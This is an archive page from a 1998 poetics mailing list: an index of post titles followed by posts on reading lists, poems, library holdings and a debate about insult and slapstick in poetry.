471. Dale Smith — Addendum to the Cat's Hat
472. Mark DuCharme — Re: Academy of the Future
473. Karen Kelley — Re: poetics of impeachment

474. George Thompson — non-referential poems for your consideration
475. Mark Weiss — Re: non-referential poems for your consideration
476. Randy Prunty — Re: poetics of impeachment
477. schuchat — Re: poetics of impeachment
478. Leonard Brink — Re: non-referential poems for your consideration

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479. A. Jenn Sondheim — Re: poetics of impeachment
480. Kathy Lou Schultz — Re: The Hat
481. George Bowering — Re: poetics of impeachment
482. Jim Bennett — Re: poetics of impeachment
483. George Thompson — Re: non-referential poems for your consideration
484. Randy Prunty — Re: non-referential poems for your consideration
485. charles alexander — Re: poetics of impeachment
486. Fredrik Hertzberg LIT — Re: non-referential poems for your consideration
487. Rachel Levitsky — Re: Jennifer on Republicans
488. Lawrence Upton. — Writers Forum
489. Emily Lloyd — (no subject)
490. Billy Little — seducers
491. Lawrence Upton. — (no subject)
492. Bob Grumman — syllable-sounds
493. louis stroffolino — Re: The Hatters
494. Leonard Brink — Re: non-referential poems for your consideration
495. Emily Lloyd — Re: syllable-sounds
496. Jason Nelson — the words of cb
497. MAYHEW — pseudo-reference
498. David Zauhar — Re: poetics of impeachment (pomes fer cortin')
499. Judy Roitman — Re: non-referential poems for your consideration
500. Judy Roitman — (no subject)
501. Todd Baron /*/ ReMap — Re: The Hat/that women writers write to wear
502. Bob Grumman — Re: syllable-sounds
503. Gwyn McVay — Re: syllable-sounds
504. Gwyn McVay — the bar scene
505. Rachel Loden — "My NAME is Alice, but-- "
506. George Thompson — Re: non-referential poems for your consideration
507. Carla Billitteri — Announcing a new electronic journal . . .
508. BETSY ANDREWS — Re: poetics of impeachment
509. Chris Nagler — Re: Louis Carroll, Hugo Ball, etc

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510. A. Jenn Sondheim — MLA Session, Letter Sensations and Embodied Life (fwd)
511. Garrett Kalleberg — TF7(b)
512. Tom Orange — syllable-sounds
513. Billy Little — Re: "My NAME is Alice, but-- "
514. Alaric Sumner — the performance Alaric Sumner wrote about
515. Marcella Durand — dyslexic urban flies
516. Gwyn McVay — Re: non-referential poems for your consideration
517. Emily Lloyd — Re: syllable sounds
518. Laura E. Wright — Re: Reggae William Blake
519. Mike Kelleher — The Shining
520. Steven Shoemaker — Re: syllable sounds
521. Laura E. Wright — Re: non-referential poems for your consideration
522. Judy Roitman — Re: Louis Carroll, Hugo Ball, etc
523. Judy Roitman — Re: syllable sounds
524. Balestrieri, Peter — seducers/Billy Little
525. Robert Archambeau — Query: De Man & Comment: Perloff
526. david bromige — MLA Poetry Event

527. Steven Shoemaker — Re: syllable sounds
528. groberts — Re: syllable sounds
529. Charles Alexander — L=A=N=G=U=A=G=E
530. R. Drake — OUTSIDE THE HAT
531. joel lewis — f.y.i. (hidden injuries of class department)
532. Aldon Nielsen — Re: this needful thing
533. Aldon Nielsen — Re: this needful thing
534. Tosh — Boris Vian's I SPIT ON YOUR GRAVES
535. Joe Amato/Kass Fleisher — three items...
536. Pierre Joris — Re: Boris Vian's I SPIT ON YOUR GRAVES
537. Joe Amato/Kass Fleisher — Re: Query: De Man & Comment: Perloff
538. Tosh — Re: Boris Vian's I SPIT ON YOUR GRAVES
539. aerialedge — New Hejinaian/Scalapino from Edge Books

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540. Tom Orange — Bernstein/Perloff in Chicago
541. George Bowering — Re: syllable sounds
542. david bromige — bernstein/perloff: orange question
543. Pierre Joris — Re: syllable sounds
544. miekal and — Re: MLA Poetry Event
545. Pierre Joris — MR
546. John Latta — Re: syllable sounds
547. Judy Roitman — Re: syllable sounds
548. shana — Re: syllable sounds
549. Billy Little — Re: Digital Arts and Culture 98
550. Pritchett,Patrick — Re: syllable sounds
551. Charles Bernstein — Re: MLA Poetry Event
552. MAYHEW — submorphemic sememes
553. Joe Amato/Kass Fleisher — Re: Bernstein/Perloff in Chicago
554. sylvester pollet — Re: syllable sounds
555. Lawrence Upton. — Domestic Ambient Noise
556. Tom Beard — Re: syllable sounds
557. Pierre Joris — Re: syllable sounds
558. Susan Schultz — Re: TINFISH reminder
559. Anastasios Kozaitis — hambone
560. Pete Neufeld — Re: syllable sounds and reference
561. joel lewis — f.y.i.
562. miekal and — Re: welcomed
563. Jessica Pompeii — welcomed
564. Emily Lloyd — Re: poetics of impeachment
565. Amy King — Re: f.y.i. - Heino - I wish I threw rocks back then.
566. Tosh — Re: f.y.i. - Heino - I wish I threw rocks back then.
567. Kathy Lou Schultz — Re: hambone

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568. John Tranter — Herman Utix.
569. Leonard Brink — Announcement - Windhover #2
570. Rachel Levitsky — Re: syllable sounds and reference
571. Daniel Zimmerman — lost in translation?
572. A. Jenn Sondheim — NEW OBSERVATIONS issue on Cultures of Cyberspace (fwd)
573. Mark Salerno — Joel Oppenheimer
574. George Bowering — Re: syllable sounds
575. George Bowering — Re: syllable sounds
576. George Bowering — Re: syllable sounds
577. Gabriel Gudding — Posting to the list (fwd)
578. Pierre Joris — Re: syllable sounds and reference
579. Lawrence Upton. — Re: syllable sounds

580. joel lewis — f.y.i.
581. Gabriel Gudding — Re: syllable sounds and reference
582. Charles Bernstein — MLA/Open to Public
583. Laura E. Wright — Re: syllable sounds/lost in translation?
584. Randy Prunty — Re: New Hejinaian/Scalapino from Edge Books
585. MAYHEW — Re: syllable sounds/lost in translation?
586. Jerry McGuire — syllable sounds
587. daniel bouchard — Re: is a language poet
588. shana — Re: syllable sounds/lost in translation?
589. Jack Ruttan — Re: Bernstein/Perloff in Chicago
590. Jessica Pompeii — no buddies buz
591. Rachel Levitsky — Re: syllable sounds/lost in translation?
592. Jessica Pompeii — Re: syllable sounds/lost in translation?
593. A. Jenn Sondheim — --==[ANNOUNCING CYBERCULTURE]==--
594. Roger Day — Re: syllable sounds
595. Mark Wallace — poetry reading at the DC Arts Center (fwd)
596. miekal and — wag the dog
597. Balestrieri, Peter — Re: Lost in Translation
598. A. Jenn Sondheim — Saddam, Turn on your Radio / TV , Change of Channel
599. Susan Schultz — Re: Iraq
600. sylvester pollet — Special Offer
601. Steven Shoemaker — The Drop
602. Garrett Kalleberg — TF7 unsound
603. Elizabeth Treadwell — Merle Bachman
604. Ron Silliman — Arghh
605. david bromige — a change of heart

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606. A. Jenn Sondheim — (no subject)
607. Tosh — Re: a change of heart
608. Rachel Levitsky — Re: Iraq
609. Rachel Levitsky — Re: Iraq
610. E.M. Garrison — Query
611. miekal and — Re: Query
612. Anastasios Kozaitis — Poem of the Day
613. Mairead Byrne — Re: Special Offer
614. Maria Damon — Re: Poets of the MLA
615. daniel bouchard — Re: Arghh (rack)
616. Mark Prejsnar — general clinton is not a language poet
617. jarnot — address query
618. Rachel Levitsky — Re: Demos today SF & NYC
619. Hilton Manfred Obenzinger — Re: Iraq
620. david bromige — Why Impeach Clinton?
621. A. Jenn Sondheim — Re: CALL FOR FLOODNET ACTION FOR PEACE IN THE MIDDLE EAST (fwd)
622. Pritchett,Patrick — Re: Exuent Gaddis
623. Tom Orange — theory and poetics
624. Poetry Project — Re: what we deserve
625. daniel bouchard — Re: what we deserve
626. Gwyn McVay — Re: Exuent Gaddis
627. joel lewis — f.y.i. (x3)
628. J Kuszai — Re: what we deserve
629. daniel bouchard — Aarrgh// infinity
630. David Kellogg — need emailaddress for Rachel M. Daley
631. Peter Quartermain — address query
632. Trace Ruggles — "degrade"

633. Gabriel Gudding — Re: Exuent Gaddis
634. Divizio — Re: what we deserve
635. Jim Bennett — Notice
636. Divizio — Re: what we deserve
637. michael corbin — (no subject)
638. Tosh — Re: Why Impeach Clinton?
639. Mairead Byrne — Re: what we deserve

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640. Daniel Zimmerman — Re: Why Impeach Clinton?
641. George Bowering — Re: address query
642. david bromige — The poetics of impeachment
643. Gabriel Gudding — Joel Kuszai, Take a Vacation
644. R. Gancie/C.Parcelli — Re: please don't bother to backchannel either
645. Gabriel Gudding — Re: Joel Kuszai, Take a Vacation
646. J Kuszai — please don't bother to backchannel either
647. Eliza McGrand — joel, ignore creepy posts with your name in subject header
648. Ramez Qureshi — syllable sounds arn't quite so loud as bombs
649. Judy Roitman — Re: what we deserve
650. Anastasios Kozaitis — Re: "degrade"
651. Joe Amato/Kass Fleisher — Re: The poetics of impeachment
652. Irving Weiss — mail art call
653. david bromige — loveliest of syllables, the Sunday Times...
654. Anastasios Kozaitis — PotD
655. Robert Archambeau — Re: please don't bother to backchannel either
656. Jasper Bernes — Re: water cool
657. Pierre Joris — Lancing a boil
658. Joe Amato/Kass Fleisher — Re: please don't bother to backchannel either
659. Tosh — Re: The poetics of impeachment
660. schuchat — sorry to see you go
661. Hilton Manfred Obenzinger — Re: The poetics of impeachment
662. Karen McKevitt — Re: please don't bother to backchannel either
663. A. Jenn Sondheim — Re: Lancing a boil
664. Charles Alexander — Re: please
665. Mark DuCharme — Re: please don't bother to backchannel either
666. charssmith — Re: Pacifica Radio
667. charssmith — KPFA, ps
668. Emily Lloyd — Re: please don't bother to backchannel either
669. Karen Kelley — Re: water cool
670. Judy Roitman — Re: please don't bother to backchannel either
671. louis stroffolino — Re: please don't bother to backchannel either
672. louis stroffolino — Re: THANK YOU
673. Mark Prejsnar — Re: The poetics of impeachment
674. David Kellogg — Eventually, Gabe will be the only one left
675. Jessica Pompeii — Why are Americans
676. Mairead Byrne — Re: Lancing a boil
677. Joe Amato/Kass Fleisher — Re: please don't bother to backchannel either
678. A. Jenn Sondheim — Swinburne
679. Mark Prejsnar — Beyond the Vestiges
680. A. Jenn Sondheim — Re: please don't bother to backchannel either
681. Aldon Nielsen — William Gaddis
682. Charles Bernstein — (no subject)
683. Charles Bernstein — what is intention?
684. Joe Amato/Kass Fleisher — Re: please don't bother to backchannel either
685. Tosh — chill
686. Leonard Brink — Beating pens into swords at the water cooler

687. Divizio — Re: please don't bother to backchannel either
688. David Baratier — water cooler poem
689. David Baratier — One more time before it passes

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690. Poetics List — Poetics List Reorganization

1. Charles Alexander
Re: Rae Armantrout interview
Thu 26 Nov 1998

Yes, thank you for this. I searched it out. The URL to go directly to the interview with Rae Armantrout is
http://www.twc.org/forums/poetschat/poetschat_ra1198.html

charles

At 03:19 PM 12/1/98 -0500, you wrote:
>There is an interview with Rae Armantrout up on the Teachers & Writers
>Collaborative "WriteNet" web site. Since the page is devoted to issues
>specific to teaching poetry to students in grades K-12, Rae talks about
>ways one can teach the prose poem, and suggests methods for introducing
>avant-garde work to students (and teachers) that are not fraught with
>anxiety. Poems Rae talks about include "The Mix Up" and "Wake Up," both
>from her book _Necromance_.
>
>
>--daniel
>
>
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

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2. Charles Alexander
Re: Reads On Busses
Fri 27 Nov 1998

I know I read Tjanting on a bus. And that ride WAS better than most art.

charles

At 01:29 PM 12/2/98 -0800, you wrote:
>Listfolk, I dont think Rae should have to apologize for alleging Ron
>Silliman read his poetry out loud on a bus, do you? It's certainly time for
>the apocrypha of Language Writing to commence, non? If Ron didnt read out
>loud on a bus, well he ought to have, and it fits in with Barrett Watten's
>remark re most non-Ron poetry : "A bus ride is better than most art." While
>it is true that Ron and 26 or 46 of us read Ketjak (or Tjanting) aloud in a
>Bart station, I would rather hear of the events that never happened, but

>should have. David
>
>
charles alexander :: poet and book artist :: [redacted]
chax press :: alexander writing/design/publishing
books by artists' hands :: web sites built with care and vision
http://alexwritdespub.com/chax :: http://alexwritdespub.com

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3. Billy Little
reading treats
Fri 27 Nov 1998

---

i'm still reading kimball and bromige's poetries of canada, each click opens another morsel, collections of this strength are rare and to have it all at the beck of your cursor tripley so. two of the reasons i like it this morning are 1.

George Stanley

The Power of the Unhappy People

The unhappy people have great power.
They invest in the unhappiness of others.

Not generic unhappiness, the kind
of unhappiness anyone could feel,
but designer unhappiness, the exact
shape of the hole in your heart.

These are dreams without doors. Let the blonde
demonstrator slip one around your feelings.
As it goes on, it clings like shrink-wrap.

Now the birds can cry in the night, and you
won't hear them. Or your ancestors. Or jazz.
The image of your death will dance for you
with as many veils as you please.

In your fog-coloured room, in your Queen Anne chair,
you may wish you were dead, but be glad of that wish
since it sets you above the common sort
inured to ordinary unhappiness.

And we, the investment community, will grin.
(Though like you, we cannot feel the sun or hear the rain.
Or jazz.) We will grin at the thought of you dreaming.

More & more people must become rich & unhappy,
so the original unhappy people can die rich.

and 2

Meredith Quartermain

Prayer for Geography

To all who fall
to matter
write the earth
a space of white
break of bread
plates break in relief
write stones cocks cry
to collected waters
or hollow fire of iron.

Eat atmosphere, a garland
sift on a drift
post out the earth's hearth
to horizon and swallow heat
of antipodes
plants ride out in leaves

to mirror oceans
to finger rivers tribulations
smooth away our tombs.

Figures of earth, press out our bodies.
Strange our urge into that which takes stand.
Distribute our loom
work through the scape the seek of air
each ear our forgotten art.

For these are our herdsmen
and without this earth as
risk we have no
right of river hear
our three yonders a sphere
of being of geography to the
ring of ocean above them
the maps antipodean
tenderness in all who fall
to matter who come simply

to throw shadows on the moon's
shifting horizon who
devote constellations to the ends
of the earth wide
from the road of symmetry.

Colin Smith's Multiple Poses from Tsunami is a scream and cheaper than a roller coaster and you can go back ad eternatum for the same low price. A Frank O'Hara for the 21st century? these words seem to careen from the epiglottis, his tongue twisting makes a resonance with gerry gilbert and dotty lusk and gerry creede and renee rodin for that matter, very vancouver? quel marrant, seriously funny, manick soars/fissionary elucidations, in the fewchair they'll say his spew flew, spitterature is one of the strong points of the KSW/ downtown Vancouver praxis, Kevin Davies and Jeff Derksen being exemplar. You don't have to take my word for it you can check out in

The New Raddle Moon which features a strong selection of vancouver writers with naturally some overlapping with poetries of canada, more Meredith Quartermain, more Melissa Wolsak, Lisa Robertson, Lary Timewell, Kevin Davies, Dorothy Trujillo Lusk, Jeff Derksen, even the brainwashed bagdaddy, the sweetheart of sebastapol, the romeo of the russian river hisself, and more Marie Anneharte Baker, the star of the bp conference reclaiming coyote. Susan Clark has done another marvelous job with Raddle Moon's issue 17 also includes some new quebecois poets selected by Nicole Brossard, some new poems by Jackson Mac Low, Rae Armantrout, in the classiest package all for merely $10, or two issue subscriptions for $15,

billy little
4 song st.
nowhere, b.c. V0R1Z0

Go ahead and say something true
before the big turd eats You
You can say any last thing in Your poem.

-Alice Notley

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4. WENDY KRAMER
check it out
Mon 30 Nov 1998

hello, it's wendy kramer. i work as a librarian in the branches of the new york public library, and thot i'd post titles ordered by the branch libraries that might

be of interest to listmembers. as someone who used to have access to a university library but has it no longer, i've become more adamant in my advocacy for poem-holdings and related materials in public libraries. i'd like to make the standard disclaimer that my posts do not reflect the interests, policies, opinions, etc. of the new york public library-- i post as an off-hours listmember and as myself, so to speak. or, i speak as a public library user who works in a public library system, a _large_ public library system--there are at least 87 branches to the new york public library (and i've lost count since), in the boroughs of manhattan, the bronx, and staten island. there are also 4 research libraries (some differences between "research" and "branches" being purpose, types, scope, depth, & focus of collections & whether items can be checked out (no for research libraries, yes for circulating items in the branches). i restrict my posts to the branch libraries. i think these postings might be useful for a number of reasons. First, many people on this list live in the area, and as i've remarked in a former post, the more the public library materials get used and requested, the more likely such materials will be ordered. But besides the local interest, there is the broader issue of availability that these postings advocate. there was a thread a few weeks ago about archiving small press and avant-garde poems. and someone posted something about not just the occasional sun& moon press book being represented. in the branch libraries, i'm happy to get that sun & moon, and dream of a public _circulating_ library for chapbooks, visual poetry, artists books, and other hard-to-buy-at-barnes-and-noble materials. (this morning on the way to the subway b&n had a huge banner in the window that said if barnes & noble doesn't have the books you read, nobody does--- cringe hiss & boo! is that a threat!?) meanwhile, there's quite a bit of material coming into the branches. sun & moon's come up for order regularly, as does other small press material, and spd as a distributor shows up on book order lists. (also, i noticed that spd started a sort of outreach to librarians newsletter and program). so, all this to say, books are out there for the borrowing. and for those of us without much cash, it's a way to read stuff we wouldn't otherwise manage to see. a final note, if you're a new york public library user: you can reserve circulating books from any branch and have them sent to any branch, at no charge. however, brooklyn and queens each have separate library systems and are not part of new york public library, so you can't reserve a book belonging to a staten island branch and have it sent to, say, flushing. you can have up to 15 reserves at a time.

hope i haven't left out anything crucial or said anything grievously incorrect--anyone with additions or questions, please post. so, tonight's posted title is:

Penelope Rosemont. _Surrealist Women_ published by University of Texas

this title a tip from nancy burr--suggested it in backchannel, & a couple weeks later i noticed it on an order list. now it's in the catalog! thanks, burr!

gotta go collage--- so, for now
wendy

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5. ike/clare

Re: Current reading (non poetry)

Mon 30 Nov 1998

Speed Tribes: days and nights with japan's next generation Karl Taro Greenfeld very entertaining-from money drinkers to porn actors to foreign hostesses and back.

City of Life
Witold Rybczynski
fun to read, though i'd recommend _Looking Around_ before this one.

The Poet Yi Mun-yol fictionalized biography of my poet ancestor, Kim Sakkat, who now, dubiously, has a traditional korean alcoholic beverage named after him. I've only found a handful of his poems translated into english, but have found several copies of this book secondhand (boo hoo).

Hi-Fidelity
Nick Hornsby
recently finished this one-sure to be a hit movie starring the candy-bar-eating-security-guard guy from "The Full Monty"

Ike

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6. James Brook

current reading (cont.)

Tue 1 Dec 1998

A raft of divers things--

Jean-Francois Martos, Correspondance avec Guy Debord (just out--and rumored to be unobtainable already because of legal action re copyright infringement), which includes the kitchen sink.

Andre Pieyre de Mandiargues, La Marge (done into English 30 yrs ago by Richard Howard as The Margin, from Grove Press); Barcelona before the Olympics and the sad triumph of right-wing Catalanism.

Phillips et al., Beat Culture and the New America (the catalog to the show)

Ernst Toller, I Was a German: The Autobiography of a Revolutionary; an Expressionist and revolutionary made proud by Hitler's burning of his books.

on deck but unread is Richard Lehan, The City in Literature, which beckons, beckons from that deck chair dappled with spray in the hot sun which doesn't shine here, in San Francisco, does it?

and even though it's poetry and not to be counted, Ron Padgett's New & Selected Poems, a friendly flashlight in the gloom of business. . . .

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7. Robert Corbett

Re: Current reading (non poetry)

Tue 1 Dec 1998

---

as a non-poet, with opinions about poetry (what i want to know is how good a poet you have to be to have opinions about poems or poems about opinions) here is my reading list of the moment

che - a life of che guevara (everybody needs a little revolution)
james tate - distance from loved ones (i know the subject says non-poetry, but . . .)
operation shylock - philip roth (because sometimes you have to read to someone whose voice starts at their heels)
ursula k. leguin - klatsland
origins reconsidered - richard leakey

robert

Robert Corbett "you are there beyond/ tracings flesh can [redacted] take,/ and farther away surrounding and University of Washington informing the systems" - A.R. Ammons

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8. George Bowering

Re: Current reading (non poetry)

Tue 1 Dec 1998

Just finished reading Spider Robinson's _Lifehouse_, the usual Spider stuff, but a very intricate plot involving three very different couples, and best of all set in Vancouver.

Am half way thru Timothy Findley's most recent book of stories, _Dust to Dust_, stories about people getting old and closer to death, half Gay half not. Everyone drinks a lot of wine and smokes a lot of cigarettes.

Also reading Carl Hiaasen's _Double Whammy_ to my wife Angela in the hospital. She is a Hiaasen fam. I am getting a little enjoyment from it.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

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9. Roger Day

Re: Current reading (non poetry)

Tue 1 Dec 1998

At 30/11/98 19:20:50, Mark DuCharme <[redacted]> wrote:
Roger day wrote:
>"The Last Of the Mohicans" William Fenimore Cooper. Better than
expected,
>but not surprised they left the bear - and a lot else - out of the
Michael
>Mann film.

You're right: I looked at the cover this morning and, *blush* it was "James Fenimore Cooper" staring out at me. Ah well. Just one of those email days. Prior to this, in another email, I'd managed to subtract a minute off of Cage's (John or Ben?) 3'33". Maybe there's a name for this malaise. It only ever seems to happen in emails...

Roger

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10. Gabriel Gudding

Response to Bernstein: What is a Discoball of Wrath?

Tue 1 Dec 1998

"Better a witty fool than a foolish wit."

1). Having punched my screen before completely reading Bernstein's message Saturday, I am now writing this without the aid of a functioning monitor, and am in effect blind above my keyboard Stevie Wonder.

2). I have received two very pointy backchannels from Charles Bernstein informing me to clarify my position or else, also informing me I am to write no more than "a few" posts a week. CB's been nice enough to share with

me his opinion that I am not thinking clearly (what's Haldol?) and really I ought for everyone's sake clarify my position regarding slapstick in poetry. Hence this post. Clarify clarify.

I will try to write as clearly as he does.

3). Roman Jakobson had it that "poetics deals primarily with the question, _what_ makes a verbal message a work of art?"

4). In my case, I'm interested in how slapstick, humor, antic mood, and yes insults make "a verbal message a work of art," ie a poem.

Poetry and slapstick figured interestingly in much modernist work, and slapstick is still an important if not prominent element of much contemporary poetry. Poetry and insults go way back. (Many of you know, for instance, there is a long tradition in Irish poetry of the insulting poem.)

But what makes a great insult? What makes an insult funny? How does it lighten rather than darken the mood of the "verbal message" -- that is, the poem (or sometimes the post)?

What, furthermore, is the social role of insult, of humor, of the antic taboo-defying impulse? how does it Work, where does it Fail, and how, ultimately, does poetry include these elements?

Let me demonstrate. [One caveat please: I have NOTHING against any of the people in number 5: I read their criticism avidly and admiringly]. Now to demonstrate:

5). If I were to write that

**Listening to Perloff, Vogler, and Bernstein
discuss poetics is like listening to a boil, a blister, and a tumor
discuss the importance of the body,**

I would be breaking taboos of politeness and hence I would never write that -- even as a demonstrative quote to illustrate a point. But if I WERE to write this, would it not be funny, and would it not add to a poem's (or a post's) mood? -- ie, would it be comedic or even poetically comic art? Of course it would. But why?

6). Furthermore, is it possible to use verbal slapstick without making an effigy, without, that is, socially injuring a particular person and without hurting someone's feelings? For instance, I have recently in the spirit of good fun "insulted" Mark DuCharme [Nov 6, "My Discoball of Wrath"] and Eliza McGrand [Nov 13, "Re: Free reading..."] (and hope to get around to Henry Gould soon), and of the two of them Mark DuCharme, I think, took it personally: I have NO hard feelings about this or toward him at all (antic antic). I am in fact a pacifist and rather mousey.

So the question becomes: how do we avoid effigies?

7). First, the insult and the humor must be "over the top," it must be VERY wonked. Why?: Two reasons: It is important that the person attacked first be turned into a caricature, lest he/she be mistaken for an effigy; but it is also important that the person attacking first turn himself into a caricature, lest the insult, after all is said and done, be thought to be truly meant and later held against one.

8). Thus, MP is an elitist critic yadayada: NOT!
Thus, CB is a controlling prig: NOT!
Thus, MD is a sycophantic wuss: NOT!

9). The challenge of slapstick poetry (or in some cases posts) is not to make effigies, as I have just done with Perloff, DuCharme, and Bernstein. Such utterances are boorish and hence not slapstick. (So please don't hit me on #8: I was trying to illustrate a point.)

10). This is one beauty of slapstick: it provides the delight of sin without its presence. Quite a trick. It is one of the great kathartic inventions of performative art.

11). SO, what, if anything, can anyone out there tell me about slapstick poetics, insultive poetry/letters, bibs (Byron, Pope, etc), etc. Must I write another book!

12). George Thompson: how heavily does insult, mockery, slapstickery play in the old Indo-European poetics? I can read ancient Pali, but as you would suspect there is very little insulting done in the Dhammapada. The closest portrayal of insult in the Pali is a nameless king hires a beggar to throw goat dung in the mouth of the king's overly talkative priest (CB's ears pricking here).

13). Henry Gould: what about contemporary Russian poetry? much insulting htere? I am aware of Victor Raskin's journal about humor, but could anyone point me to particular articles either in this journal or elsewhere.

14). In case any of you are wondering who the heck I am and if in fact I'm an actual boor or if I'm just pretending not to be, here's a statement of "my" sentiment:

15). These inspired cliches: to insist along with Patrick Kavanagh that we aren't alone in our loneliness; to second Bill Knott's opinion that a portrait of Marcheta Casati would look beautiful even if hung improbably and inappropriately upon a man's forehead; to write upon my own forehead, as Tully wished citizens might, what I think of the republic; to insist that we

are all bookmarks in a holy anthology; that though each of us is a nobody, we are together consequential; that those among us of greater consequence never forget the ache in their forearms; that all anger is unjust; that Jesus and Lenny Bruce spoke the same language; that Janis Joplin could out-sing Maria Callas and Buster Keaton out-talk Christopher Lyden; that buffo, not rage, that inanity, not reason, are the only viable means of wresting dignity from the hands of bureaucrats and professionals; that the ready ease with which an academic will assume someone to be stupid is more repugnant than a barfight; that yodelling at a plate of eggs can satisfy one's curiosity for a better life; that underdogs can be jerks too; and finally to concur loudly, like a car horn with lips, with Henry James when he said that three things in human life are important: being kind, being kind, and being kind.

16). It is the thought of Tully's that gets me: to write upon my own forehead what I think of the republic:

17). Prose is when you write in sentences. Poetry is when you write on your own forehead. Slapstick poetry is when you write on your own forehead and then head-butt someone.

18). SO, HENRY GOULD, to end with reference to a question you posed the list last week: it is precisely BECAUSE so many of us have such an anemic political and public life that it is imperative our Poetics List and our poetries not be devoid of humor and good-natured insults, that our aggression be sublimated in humor and for the sake of humor, and that utterances pertinently nonsensical and pointlessly adamant not be banished from discussion.

PS, I HOPE TO BE ALLOWED TO JOIN THE RANKS OF THE OTHER CHILDREN SOON, IN TERMS OF THE FREQUENCY OF MY POSTING, NOW THAT I HAVE EXPLAINED MYSELF.

--Gabriel

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11. Daniel Carter

dare the air sweet child

Tue 1 Dec 1998

---

this up pills t' be the caves inner hitch-vined mince play station the hiss 'n' hot seething the rue 'n' ruin lieumenation in the mid-stuff may raise points honor front plate guard her delivery techsome time offer hands open peace 'n' air nothin' tear but the breeze sound o' dim breathin' full focus in the foggy distance this dance the old glassy gull flyin' hen over herd her orders trance

apparent a parent of wakefulness in stark contrast t' mediatistic expectation t' the gone tray ray a platter of general splatter shatter matter put before during and after you in the dark rain ran the haunting seance 'n' infizzibility the latter term as a pose up on the ladder firm of another germ multi-ply multi-ploy multi-play all 'n' pleat the fold won't hold but spill the pills all loud upon the ground itself in turn grave way write out from endure reverie one of money who buy in the hem-cells tethered dear but disrespeculated bets own the table as swell t' swollen spectra with all o' y'all's blood is the game luck stuck in the stocks 'n' payroll of a barrel bond of mono-keys in pleasant tents mass crass class disease own dawn the load 'tis heavenly endure the influence two eyes d' use t' demon-strayed its intended actions in the plays of underneath the down too often sweat in the nun-descript night with insults results thus pay her wants newly tear-eyed pride open t' the day-write stride-wheel yeast as in her unwitting lies 'n' ties t' rise just enough deriving striving de-rivering her fairy very vest t' kid along within the mess at hand she was dealt though this never be the broach that high eye would re-commend with hen the generative matrix there for her may tricks defend without real harm to anyone indeed and in seed disquiet the contrary/counter-rarity of manyfistation in a moneural hoof's peeking peaking agloss the port abrim expanse a clause the desert of time's illusion born of illu-sion born of tool-making fool awakening alas than never (in love)

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12. David Zauhar

Re: Current reading (non poetry)

Tue 1 Dec 1998

Currently still recovering from a recent saturday in a library at which, for (pseudo)scholarly purposes, I read all three of Robert Lowell's 1973 sonnet vol-umes, _{Avoiding}History_, {A Big Fuck You}For Lizzie and Harriet_, and {Flogging}The Dolphin_. Still, recent read/am reading Eugenia Semyonovna's Ginzburg's _Journey Into the Whirlwind_ (a memoir of her years in Stalin's camps), a novel: The Burn by Vasily Askyanov (finished it thanksgiving morning and found out that afternoon he is E. Ginburg's son), Jung's _Synchronicity_ (well not really but I should have been all things considered), Hugo Ball's _Flight out of Time: A Dada Diary_, and Larry River's _What Have I Done_ (from which, I'm convinced, David Lehman cliffed his entire chapter on the New York painters in his The Last Avant Garde), and I'm w/in striking distance of finishing _English,August_ by Indian novelist Upamanyu Chatterjee. On deck for the holiday break: Fever Pitch, by Nick Hornby (about his life and times as a soccer fan) and whatever I find in a various public libraries to which I have access.

David Zauhar
University of Illinois at Chicago

"And I remember somebody leaning up against the dirt wall of the hillside, deriding William Carlos Williams, when suddenly there was a loud roaring, crunching noise and a chunk of the hill fell off and covered the person up to his neck. The person, being a young classical poet fresh from NYU, begun screaming that he was being buried alive. Fortunately, the landslide stopped and we dug him out and dusted him off. That was the last time he said anything against William Carlos Williams. The next day he began reading _Journey to Love_ rather feverishly."

--Richard Brautigan.

↑ Index

13. Joe Amato/Kass Fleisher

Re: Response to Bernstein: What is a Discoball of Wrath?

Tue 1 Dec 1998

---

gg: that's all well & good... but if you wish to play the part of court jester, i suggest you have a good long look, again, at the danny kaye flick...

ok, now i'm being a shit...

but part of the problem with what you're advocating is that you don't account for the recent failure, as some of us would have it, of your slapstickery (or whatever)... you find that some of us "don't get" your humor, hence you imagine the need to "explain" effigies & the like to us (which is something a bit different from clarifying your position)...

it *is* possible, old salt, that some of us just don't appreciate the peculiar attributes of *your* mocking sensibility---by which i mean to aver that we just don't find it esp. funny, however clever... this is not to say we (some of us) don't have a sense of humor... but there is something oddly condescending at times about your post(ition)---odd too, b/c in general i would assume (self-)mockery could be a great aid in debugging pretentiousness... but then, right along with your remarks on the history of comedic form, you slip into your roll-call of little chestnuts, from celebrating janis (and who among us would not do so?) to the old sympathy ploy of evoking the loneliness of the long distance runner...

sorry for the contra & quasi-moral tone of this post, gabe... but mightn't you simply go back to the drawing board & find a way to evoke falstaff & co. w/o (as i read you) the latent, sometimes blatant, acrimony?... after all, this list is not *simply* a performative domain... mself, i feel on some occasions that you're just goofing off, but on others it seems to me you're using the semblance of same as a mask to get in some real digs... & please---please don't try to persuade me that the "gap" or some such between these two impressions is the

very reality you wish to exploit (not least b/c this would clearly constitute protesting too much)...

finally, gabe: if everyone's bark is not all that hard, nor should we ask it to be, man...

best, really

joe

↑ Index

14. Elizabeth Treadwell
my reading list
Tue 1 Dec 1998

READING

The Gods Arrive (Edith Wharton)
The Making of Americans (Gertrude Stein)
Don Quixote (Kathy Acker)
The Writings of Medieval Women (An anthology trans by Marcelle Thiebaux)
The Fashion System (Roland Barthes)
Model: The Ugly Business of Beautiful Women (Michael Gross)
(those last 2 are skimmers!)
several dictionaries
the Bible

Don't make fun of people for reading their old diaries!! You BOYS!

Genderly tenderly,
Eliz.

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

↑ Index

15. R.Gancie/C.Parcelli
Re: Response to Bernstein: What is a Discoball of Wrath?
Tue 1 Dec 1998

I for one am glad to see in Gab Gudding's post that I didn't kill off a certain vitality by naming it. I think Gab has made his position clear. His posts are intended to be considered as rancid fumistiere. He just ain't no Alphonse Allais and that's why his posts are rancid. To the degree with which your penetrating counter-post exposes inconsistencies and paradoxes in his approach, you simultaneously address why his posts

fail. He himself exposes the vulnerability of his style by declaring his
own vulnerability e.g. as "a pacifist and somewhat mousey." Until this
assertion has been tested empirically, it has no force as satire. It's
pathetic. Personally, I think Gab is too much bluff and not enough
substance. Names can be manipulated ironically; but content even more so
